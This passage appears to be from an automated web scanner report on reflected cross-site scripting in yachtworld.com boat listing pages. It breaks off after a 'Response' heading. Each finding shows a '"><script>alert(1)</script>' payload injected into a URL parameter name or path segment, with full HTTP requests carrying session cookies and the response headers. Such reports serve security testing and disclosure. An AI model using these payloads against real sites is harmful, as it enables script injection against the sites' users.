2+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:53 GMT Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.124. http://www.yachtworld.com/boats/2005/Regulator-32-Fs-1787065/Hilton-Head/SC/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7e94"><script>alert(1)</script>6a57b0b4811 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-1787065/Hilton-Head/SC/United-States?a7e94"><script>alert(1)</script>6a57b0b4811=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:26 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 01:47:39 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:25 GMT Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 960f7"><script>alert(1)</script>6d050b13f48 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-2270278/Placida960f7"><script>alert(1)</script>6d050b13f48/FL/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:48 GMT Server: Apache Cache-Control: private If-Modified-Since: Sat, 22 Jan 2011 03:59:44 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:47 GMT Set-Cookie: VIEWED_BOATS_STORE=2270278%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B110%2C500%5B%25%5DPlacida%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F0%2F2%2F2270278_1_mini.jpg%3F1286049970000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-2270278%2FPlacida%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e586c"><script>alert(1)</script>698b112f45f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-2270278/Placida/FLe586c"><script>alert(1)</script>698b112f45f/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
